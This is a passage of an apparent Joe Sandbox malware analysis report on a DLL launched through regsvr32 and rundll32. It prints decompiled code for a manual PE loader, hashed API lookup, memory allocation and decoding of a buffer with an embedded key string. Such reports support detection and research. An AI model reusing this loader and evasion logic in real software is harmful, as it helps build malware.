								 *(_a4 + 0xc) =  *(_a4 + 0xc) + 1;
								if( *_v8 == 0) {
									_v32 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
									_v24 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
								} else {
									_v32 = _v20 +  *_v8;
									_v24 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
								}
								while( *_v32 != 0) {
									if(( *_v32 & 0x80000000) == 0) {
										_v40 = _v20 +  *_v32;
										_t133 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x20))))(_v36, _v40 + 2,  *((intOrPtr*)(_a4 + 0x28)));
										_t202 = _t202 + 0xc;
										 *_v24 = _t133;
									} else {
										_t138 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x20))))(_v36,  *_v32 & 0x0000ffff,  *((intOrPtr*)(_a4 + 0x28)));
										_t202 = _t202 + 0xc;
										 *_v24 = _t138;
									}
									if( *_v24 != 0) {
										_v32 =  &(_v32[1]);
										_v24 = _v24 + 4;
										continue;
									} else {
										_v16 = 0;
										break;
									}
								}
								if(_v16 != 0) {
									_v8 = _v8 + 0x14;
									continue;
								}
								 *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x24))))(_v36,  *((intOrPtr*)(_a4 + 0x28)));
								SetLastError(0x7f);
								break;
							}
							 *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x24))))(_v36,  *((intOrPtr*)(_a4 + 0x28)));
							SetLastError(0xe);
							_v16 = 0;
							break;
						}
						SetLastError(0x7e);
						_v16 = 0;
						break;
					}
					return _v16;
				}
				return 1;
			}

0x10002676
0x1000267f
0x10002682
0x10002693
0x1000269d
0x100026b1
0x100026bf
0x100026f7
0x100026f9
0x100026fc
0x10002703
0x1000272e
0x10002733
0x10002736
0x1000273d
0x1000276f
0x10002781
0x10002790
0x10002799
0x100027bd
0x100027c9
0x1000279b
0x100027a3
0x100027af
0x100027af
0x100027e0
0x100027f3
0x10002825
0x10002840
0x10002842
0x10002848
0x100027f5
0x10002811
0x10002813
0x10002819
0x10002819
0x10002850
0x100027d4
0x100027dd
0x00000000
0x10002852
0x10002852
0x00000000
0x10002852
0x10002850
0x10002864
0x100026bc
0x00000000
0x100026bc
0x10002877
0x1000287e
0x00000000
0x1000287e
0x10002750
0x10002757
0x1000275d
0x00000000
0x1000275d
0x10002707
0x1000270d
0x00000000
0x1000270d
0x00000000
0x1000288b
0x00000000

APIs

IsBadReadPtr.KERNEL32(00000000,00000014,?,?,?,?,10002C4E,00000000,00000000), ref: 100026C5
SetLastError.KERNEL32(0000007E), ref: 10002707

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: c2a98b38cbef77d555c79c56aa9516de66013d98deec03bde9f9d281594a25e0
Instruction ID: 5b18a635dcf056017fd1ee77a603d3a0bb8baed770e763f1765233b10108ec1d
Opcode Fuzzy Hash: c2a98b38cbef77d555c79c56aa9516de66013d98deec03bde9f9d281594a25e0
Instruction Fuzzy Hash: 7381BAB4A05209DFDB04CF94C880A9EB7B1FF88354F248159E819AB355D735EE82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 1001431B, Relevance: 5.0, APIs: 4, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E1001431B(void* __ebx, void* __esi, void* __ebp, signed int _a4) {
				void* __edi;
				struct _CRITICAL_SECTION* _t4;
				void* _t7;
				void* _t10;
				signed int _t11;
				void* _t14;
				intOrPtr* _t15;
				void* _t17;

				_t17 = __ebp;
				_t14 = __esi;
				_t7 = __ebx;
				_t11 = _a4;
				_t20 = _t11 - 0x11;
				if(_t11 >= 0x11) {
					_t4 = E1000A0DB(__ebx, _t10, _t11, __esi, _t20);
				}
				if( *0x1005aac0 == 0) {
					_t4 = E100142F7();
				}
				_push(_t7);
				_push(_t17);
				_push(_t14);
				_t15 = 0x1005ac78 + _t11 * 4;
				if( *_t15 == 0) {
					EnterCriticalSection(0x1005ac60);
					if( *_t15 == 0) {
						_t4 = 0x1005aac8 + _t11 * 0x18;
						InitializeCriticalSection(_t4);
						 *_t15 =  *_t15 + 1;
					}
					LeaveCriticalSection(0x1005ac60);
				}
				EnterCriticalSection(0x1005aac8 + _t11 * 0x18);
				return _t4;
			}

0x1001431b
0x1001431b
0x1001431b
0x1001431c
0x10014320
0x10014323
0x10014325
0x10014325
0x10014331
0x10014333
0x10014333
0x10014338
0x1001433f
0x10014340
0x10014341
0x10014350
0x10014357
0x1001435c
0x10014363
0x10014366
0x1001436c
0x1001436c
0x10014373
0x10014373
0x1001437f
0x10014385

APIs

EnterCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014357
InitializeCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014366
LeaveCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014373
EnterCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 1001437F

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Enter$Exception@8H_prolog3InitializeLeaveThrow
String ID:
API String ID: 2895727460-0
Opcode ID: fc52205701aaf5afb0ce0b222181c69e48b6197276059f190c1bff8ca6cb0e4a
Instruction ID: b2ae72b8ab0fae698251e24a42d2174316ff56aad592cf34d272a36c1b8e20b9
Opcode Fuzzy Hash: fc52205701aaf5afb0ce0b222181c69e48b6197276059f190c1bff8ca6cb0e4a
Instruction Fuzzy Hash: 05F090739002169BE700DF59CC89A1ABBA9FBC32A5F93011AF14096121DB3199C5CA61

Uniqueness

Uniqueness Score: -1.00%

Function 1001398E, Relevance: 5.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1001398E(long* __ecx, signed int _a4) {
				void* _t9;
				struct _CRITICAL_SECTION* _t12;
				signed int _t14;
				long* _t16;

				_t16 = __ecx;
				_t1 =  &(_t16[7]); // 0x1005aaa8
				_t12 = _t1;
				EnterCriticalSection(_t12);
				_t14 = _a4;
				if(_t14 <= 0) {
					L5:
					LeaveCriticalSection(_t12);
					return 0;
				}
				_t3 =  &(_t16[3]); // 0x3
				if(_t14 >=  *_t3) {
					goto L5;
				}
				_t9 = TlsGetValue( *_t16);
				if(_t9 == 0 || _t14 >=  *((intOrPtr*)(_t9 + 8))) {
					goto L5;
				} else {
					LeaveCriticalSection(_t12);
					return  *((intOrPtr*)( *((intOrPtr*)(_t9 + 0xc)) + _t14 * 4));
				}
			}

0x10013990
0x10013993
0x10013993
0x10013997
0x1001399d
0x100139a3
0x100139cc
0x100139cd
0x00000000
0x100139d3
0x100139a5
0x100139a8
0x00000000
0x00000000
0x100139ac
0x100139b4
0x00000000
0x100139bb
0x100139c2
0x00000000
0x100139c8

APIs

EnterCriticalSection.KERNEL32(1005AAA8,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 10013997
TlsGetValue.KERNEL32(1005AA8C,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139AC
LeaveCriticalSection.KERNEL32(1005AAA8,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139C2
LeaveCriticalSection.KERNEL32(1005AAA8,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139CD

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 8c266227b3abe2b759591ba9b775a43eab1fad3fbd471f069813da335311fd75
Instruction ID: ae8276b6876f5357c50f650584214137971e28de593e3cdb7c29343fae997712
Opcode Fuzzy Hash: 8c266227b3abe2b759591ba9b775a43eab1fad3fbd471f069813da335311fd75
Instruction Fuzzy Hash: 27F012762006529FD710DF65CC8C90B77EDEF84291327D856E84697152D770F856CF50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 7156 Parent PID: 7068 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1382
Total number of Limit Nodes:	19

Executed Functions

Function 10002900, Relevance: 24.3, APIs: 16, Instructions: 331
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E10002900(intOrPtr __ecx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v8;
				void* _v12;
				signed short* _v16;
				void* _v20;
				void* _v24;
				long _v28;
				signed int _v32;
				intOrPtr _v64;
				char _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr* _v80;
				intOrPtr _v84;
				void* _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				void* _t180;
				void* _t191;
				void* _t198;
				void* _t202;
				intOrPtr _t209;
				void* _t220;
				intOrPtr _t269;
				intOrPtr _t278;
				intOrPtr _t326;

				_v100 = __ecx;
				_v72 = 0;
				_v20 = 0;
				if(E10001FE0(_v100, _a8, 0x40) != 0) {
					_v16 = _a4;
					if(( *_v16 & 0x0000ffff) == 0x5a4d) {
						_t10 =  &(_v16[0x1e]); // 0x47e81005
						if(E10001FE0(_v100, _a8,  *_t10 + 0xf8) != 0) {
							_t15 =  &(_v16[0x1e]); // 0x47e81005
							_v80 = _a4 +  *_t15;
							if( *_v80 == 0x4550) {
								if(( *(_v80 + 4) & 0x0000ffff) == 0x14c) {
									if(( *(_v80 + 0x38) & 0x00000001) == 0) {
										_v84 = _v80 + ( *(_v80 + 0x14) & 0x0000ffff) + 0x18;
										_v32 =  *(_v80 + 0x38);
										_v12 = 0;
										while(_v12 < ( *(_v80 + 6) & 0x0000ffff)) {
											if( *((intOrPtr*)(_v84 + 0x10)) != 0) {
												_v88 =  *((intOrPtr*)(_v84 + 0xc)) +  *((intOrPtr*)(_v84 + 0x10));
											} else {
												_v88 =  *((intOrPtr*)(_v84 + 0xc)) + _v32;
											}
											if(_v88 > _v20) {
												_v20 = _v88;
											}
											_v12 = _v12 + 1;
											_v84 = _v84 + 0x28;
										}
										__imp__GetNativeSystemInfo( &_v68); // executed
										_v28 =  *((intOrPtr*)(_v80 + 0x50)) + _v64 - 0x00000001 &  !(_v64 - 1);
										_t65 = _v64 - 1; // -1
										if(_v28 == (_v20 + _t65 &  !(_v64 - 1))) {
											_t180 = VirtualAlloc( *(_v80 + 0x34), _v28, 0x3000, 4); // executed
											_v24 = _t180;
											if(_v24 != 0) {
												L26:
												_v72 = HeapAlloc(GetProcessHeap(), 8, 0x34);
												if(_v72 != 0) {
													 *((intOrPtr*)(_v72 + 4)) = _v24;
													asm("sbb edx, edx");
													 *(_v72 + 0x14) =  ~( ~( *(_v80 + 0x16) & 0x2000));
													 *((intOrPtr*)(_v72 + 0x1c)) = _a12;
													 *((intOrPtr*)(_v72 + 0x20)) = _a16;
													 *((intOrPtr*)(_v72 + 0x24)) = _a20;
													 *((intOrPtr*)(_v72 + 0x28)) = _a24;
													 *((intOrPtr*)(_v72 + 0x30)) = _v64;
													if(E10001FE0(_v100, _a8,  *(_v80 + 0x54)) != 0) {
														_t191 = VirtualAlloc(_v24,  *(_v80 + 0x54), 0x1000, 4); // executed
														_v8 = _t191;
														E10001E60(_v8, _v16,  *(_v80 + 0x54));
														_t115 =  &(_v16[0x1e]); // 0x47e81005
														 *_v72 = _v8 +  *_t115;
														 *((intOrPtr*)( *_v72 + 0x34)) = _v24;
														_t198 = E10002010(_v100, _a4, _a8, _v80, _v72); // executed
														if(_t198 != 0) {
															_t269 =  *((intOrPtr*)( *_v72 + 0x34)) -  *(_v80 + 0x34);
															_v76 = _t269;
															if(_t269 == 0) {
																 *((intOrPtr*)(_v72 + 0x18)) = 1;
															} else {
																 *((intOrPtr*)(_v72 + 0x18)) = E10002500(_v100, _v72, _v76);
															}
															if(E10002670(_v100, _v72) != 0) {
																_t202 = E10002300(_v100, _v72); // executed
																if(_t202 != 0) {
																	if(E10002480(_v100, _v72) != 0) {
																		if( *((intOrPtr*)( *_v72 + 0x28)) == 0) {
																			 *(_v72 + 0x2c) = 0;
																			L49:
																			return _v72;
																		}
																		if( *(_v72 + 0x14) == 0) {
																			 *(_v72 + 0x2c) = _v24 +  *((intOrPtr*)( *_v72 + 0x28));
																			L47:
																			goto L49;
																		}
																		_v96 = _v24 +  *((intOrPtr*)( *_v72 + 0x28));
																		_t209 =  *0x10058ed8; // 0x0
																		_t278 =  *0x10058ed4; // 0x1
																		_t326 =  *0x10058ed0; // 0x10000000
																		_v92 = _v96(_t326, _t278, _t209);
																		if(_v92 != 0) {
																			 *((intOrPtr*)(_v72 + 0x10)) = 1;
																			goto L47;
																		}
																		SetLastError(0x45a);
																		L50:
																		E10002EC0(_v100, _v72);
																		return 0;
																	}
																	goto L50;
																}
																goto L50;
															}
															goto L50;
														}
														goto L50;
													}
													goto L50;
												}
												VirtualFree(_v24, 0, 0x8000);
												SetLastError(0xe);
												return 0;
											}
											_t220 = VirtualAlloc(0, _v28, 0x3000, 4); // executed
											_v24 = _t220;
											if(_v24 != 0) {
												goto L26;
											}
											SetLastError(0xe);
											return 0;
										}
										SetLastError(0xc1);
										return 0;
									}
									SetLastError(0xc1);
									return 0;
								}
								SetLastError(0xc1);
								return 0;
							}
							SetLastError(0xc1);
							return 0;
						}
						return 0;
					}
					SetLastError(0xc1);
					return 0;
				}
				return 0;
			}

APIs

Part of subcall function 10001FE0: SetLastError.KERNEL32(0000000D,?,?,10002925,10008AC6,00000040), ref: 10001FF1

SetLastError.KERNEL32(000000C1,10008AC6,00000040), ref: 10002948

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 08cff93c7344199116f568f774659ccae89e30fc42bc807c3f2613e3b5310ed8
Instruction ID: 2ef2df373ea658209f5af2a718a6df98ca9e1c1927523c70ceffa034f4820264
Opcode Fuzzy Hash: 08cff93c7344199116f568f774659ccae89e30fc42bc807c3f2613e3b5310ed8
Instruction Fuzzy Hash: 01E1F874A01219EFEB04CF94C994E9EB7B2FF88384F208559E905AB399D770AD46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 100088E0, Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 131
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E100088E0(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				struct HWND__* _v8;
				void* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct HWND__* _v28;
				struct HWND__* _v32;
				long _v36;
				int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void* __ebp;
				void* _t38;
				long _t45;
				long _t47;
				intOrPtr _t56;
				void* _t63;
				intOrPtr _t68;

				_t79 = __esi;
				_t78 = __edi;
				_t64 = __ebx;
				_v56 = _a8;
				 *0x10058ed0 = _a4;
				_t72 = _a8;
				 *0x10058ed4 = _a8;
				 *0x10058ed8 = _a12;
				_v8 = 0;
				_v36 = 0;
				_v28 = 0;
				_v32 = 0;
				_v12 = 0;
				_t38 = E10008860(__eflags); // executed
				if(_t38 != 0) {
					_push(0x10029b4c);
					E1001771B(__ebx, _t72, __edi, __esi, __eflags);
					return 0;
				}
				 *0x10056f08 = 0;
				 *0x10056f0c = 0;
				 *0x10056f10 = 0;
				 *0x10056f18 = 0;
				 *0x10056f14 = 0;
				_v40 = 0x44368d;
				_v52 = 0x3f8fc5;
				_v20 = 0x3b272b;
				_v24 = 0x2feb60;
				_v44 = 0xdd3c;
				_v48 = 0x47c;
				_v36 = 0x24e00;
				_v28 = E10006170(L"kernel32.dll");
				_v32 = E10006170(L"ntdll.dll");
				 *0x10058eb0 = E10006D50(_v28, 0x70e66e6b);
				 *0x10058eb8 = E10006D50(_v28, 0x579606ae);
				_t95 =  *0x10058eb8;
				if( *0x10058eb8 == 0) {
					_t45 = E10017716(0x10029b18);
					_t47 = E10017716("8192") | 0x00001000;
					__eflags = _t47;
					_v12 = VirtualAlloc(0, _v36, _t47, _t45);
				} else {
					_t63 =  *0x10058eb8(0xffffffff, 0, _v36, E10017716("8192") | 0x00001000, E10017716(0x10029b18), 0); // executed
					_v12 = _t63;
				}
				E10016A10(_t64, _t78, _t79, _v12, 0x10032098, _v36);
				_t68 =  *0x10056f04; // 0x730f
				_v16 = E1001703B(_t64, _v36, _t78, _t79, _t68);
				E10002FA0(_t95, _v16, "vzyxQQjtnPpM1kMtP2^c)toAOgGzJnA(x4n)mZV?Zgqbqls>&28Kb303hUncVaad@?N*A%W2eBhDNd+m_Bl2cFznqh*vrDpHPGj%?_!pbLp", 0x6c);
				E10004F00(_v16, _v12, _v36);
				_t56 = E10002D20(0x10058ebc, _v12, _v36); // executed
				 *0x10058edc = _t56;
				ShowWindow(0, _v40);
				return 1;
			}

APIs

Part of subcall function 10008860: _malloc.LIBCMT ref: 1000886B

_printf.LIBCMT ref: 1000896B
VirtualAllocExNuma.KERNELBASE(000000FF,00000000,00024E00,00000000,00000000,00000000), ref: 10008A2B
VirtualAlloc.KERNEL32(00000000,00024E00,00000000,00000000), ref: 10008A5D
_malloc.LIBCMT ref: 10008A82
ShowWindow.USER32(00000000,0044368D,00000000,00024E00), ref: 10008AD1

Strings

vzyxQQjtnPpM1kMtP2^c)toAOgGzJnA(x4n)mZV?Zgqbqls>&28Kb303hUncVaad@?N*A%W2eBhDNd+m_Bl2cFznqh*vrDpHPGj%?_!pbLp, xrefs: 10008A8F
+';, xrefs: 10008988
ntdll.dll, xrefs: 100089BB
kernel32.dll, xrefs: 100089AB
`/, xrefs: 1000898F
8192, xrefs: 10008A10, 10008A44

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: AllocVirtual_malloc$NumaShowWindow_printf
String ID: +';$8192$`/$kernel32.dll$ntdll.dll$vzyxQQjtnPpM1kMtP2^c)toAOgGzJnA(x4n)mZV?Zgqbqls>&28Kb303hUncVaad@?N*A%W2eBhDNd+m_Bl2cFznqh*vrDpHPGj%?_!pbLp
API String ID: 1487653210-3670691644
Opcode ID: 230bbdfcd20e835c4d7365e9bc9cc9309c602f396e76a36ffbf0d77b2387037d
Instruction ID: 74e036033439e47f0f6271ee42a165f027743cdfe4c2c4d01037afcb8f86e406
Opcode Fuzzy Hash: 230bbdfcd20e835c4d7365e9bc9cc9309c602f396e76a36ffbf0d77b2387037d
Instruction Fuzzy Hash: FE5141F5D00214AFEB00CF90EC96BAE77B4FB48344F144528E909BB345E775A6448BA2

Uniqueness

Uniqueness Score: -1.00%

Function 10013A9B, Relevance: 16.6, APIs: 11, Instructions: 103
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E10013A9B() {
				struct _CRITICAL_SECTION* _v4;
				char _v28;
				char _v36;
				char _v44;
				intOrPtr _v56;
				void* __ebx;
				intOrPtr __ecx;
				signed int __edi;
				void* __esi;
				void* __ebp;
				struct _CRITICAL_SECTION* _t39;
				intOrPtr _t40;
				void* _t41;
				long _t44;
				void* _t45;
				signed int* _t51;
				intOrPtr _t64;
				long _t68;
				void* _t69;
				void* _t70;
				signed int _t72;
				intOrPtr _t78;
				signed int _t82;
				void* _t86;
				signed int _t88;
				void* _t90;
				void* _t91;
				void* _t93;

				_push(_t72);
				_push(_t69);
				_push(_t88);
				_t86 = _t72;
				_t1 = _t86 + 0x1c; // 0x1005aaa8
				_t39 = _t1;
				_v4 = _t39;
				EnterCriticalSection(_t39);
				_t3 = _t86 + 4; // 0x20
				_t40 =  *_t3;
				_t4 = _t86 + 8; // 0x3
				_t82 =  *_t4;
				if(_t82 >= _t40) {
					L7:
					_t82 = 1;
					__eflags = _t40 - 1;
					if(_t40 <= 1) {
						L12:
						_t21 = _t40 + 0x20; // 0x40
						_t88 = _t21;
						_t22 = _t86 + 0x10; // 0x34d0728
						_t41 =  *_t22;
						__eflags = _t41;
						if(__eflags != 0) {
							_t69 = GlobalHandle(_t41);
							GlobalUnlock(_t69);
							_t44 = E100134F9(_t72, __eflags, _t88, 8);
							_t72 = 0x2002;
							_t45 = GlobalReAlloc(_t69, _t44, ??);
						} else {
							_t68 = E100134F9(_t72, __eflags, _t88, 8);
							_pop(_t72);
							_t45 = GlobalAlloc(2, _t68); // executed
						}
						__eflags = _t45;
						if(_t45 != 0) {
							_t70 = GlobalLock(_t45);
							_t25 = _t86 + 4; // 0x20
							__eflags = _t88 -  *_t25 << 3;
							E100174D0(_t82, _t70 +  *_t25 * 8, 0, _t88 -  *_t25 << 3);
							 *(_t86 + 4) = _t88;
							 *(_t86 + 0x10) = _t70;
							goto L20;
						} else {
							_t23 = _t86 + 0x10; // 0x34d0728
							_t86 =  *_t23;
							__eflags = _t86;
							if(_t86 != 0) {
								GlobalLock(GlobalHandle(_t86));
							}
							LeaveCriticalSection(_v4);
							_push(_t88);
							_t90 = _t93;
							_push(_t72);
							_v28 = 0x10057168;
							E10017C83( &_v28, 0x1002e258);
							asm("int3");
							_push(_t90);
							_t91 = _t93;
							_push(_t72);
							_v36 = 0x10057200;
							E10017C83( &_v36, 0x1002e2b8);
							asm("int3");
							_push(_t91);
							_push(_t72);
							_v44 = 0x10057298;
							E10017C83( &_v44, 0x1002e2fc);
							asm("int3");
							_push(4);
							E10017BC1(E10027DEC, _t69, _t82, _t86);
							_t78 = E10013965(0x104);
							_v56 = _t78;
							_t64 = 0;
							_v44 = 0;
							if(_t78 != 0) {
								_t64 = E1000CF71(_t78);
							}
							return E10017C60(_t64);
						}
					} else {
						_t18 = _t86 + 0x10; // 0x34d0728
						_t72 =  *_t18 + 8;
						__eflags = _t72;
						while(1) {
							__eflags =  *_t72 & 0x00000001;
							if(( *_t72 & 0x00000001) == 0) {
								break;
							}
							_t82 = _t82 + 1;
							_t72 = _t72 + 8;
							__eflags = _t82 - _t40;
							if(_t82 < _t40) {
								continue;
							}
							break;
						}
						__eflags = _t82 - _t40;
						if(_t82 < _t40) {
							goto L20;
						} else {
							goto L12;
						}
					}
				} else {
					_t13 = __esi + 0x10; // 0x34d0728
					__ecx =  *_t13;
					__eflags =  *(__ecx + __edi * 8) & 0x00000001;
					if(( *(__ecx + __edi * 8) & 0x00000001) == 0) {
						L20:
						_t30 = _t86 + 0xc; // 0x3
						__eflags = _t82 -  *_t30;
						if(_t82 >=  *_t30) {
							_t31 = _t82 + 1; // 0x4
							 *((intOrPtr*)(_t86 + 0xc)) = _t31;
						}
						_t33 = _t86 + 0x10; // 0x34d0728
						_t51 =  *_t33 + _t82 * 8;
						 *_t51 =  *_t51 | 0x00000001;
						__eflags =  *_t51;
						_t37 = _t82 + 1; // 0x4
						 *(_t86 + 8) = _t37;
						LeaveCriticalSection(_v4);
						return _t82;
					} else {
						goto L7;
					}
				}
			}

APIs

EnterCriticalSection.KERNEL32(1005AAA8,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013AAA
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10013B00
GlobalHandle.KERNEL32(034D0728), ref: 10013B09
GlobalUnlock.KERNEL32(00000000,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013B12
GlobalReAlloc.KERNEL32 ref: 10013B29
GlobalHandle.KERNEL32(034D0728), ref: 10013B3B
GlobalLock.KERNEL32 ref: 10013B42
LeaveCriticalSection.KERNEL32(?,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013B4C
GlobalLock.KERNEL32 ref: 10013B58
_memset.LIBCMT ref: 10013B71
LeaveCriticalSection.KERNEL32(?), ref: 10013B9D

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock_memset
String ID:
API String ID: 496899490-0
Opcode ID: db40230195121c03edd1d9de773089a9b398076d37fb16ef380e98a53d4696a6
Instruction ID: d2dedea389880cd6532a8cc41d1f31ca5a81082a511f3f96b23d25218acb7329
Opcode Fuzzy Hash: db40230195121c03edd1d9de773089a9b398076d37fb16ef380e98a53d4696a6
Instruction Fuzzy Hash: 5F31C1312043129FE720CF34CC8DA2A77E9FF84280B12891DE996C7651EB30F885CB10

Uniqueness

Uniqueness Score: -1.00%

Function 10016380, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 27%

			E10016380(void* __ebx, void* __edi, void* __esi, void* __eflags) {
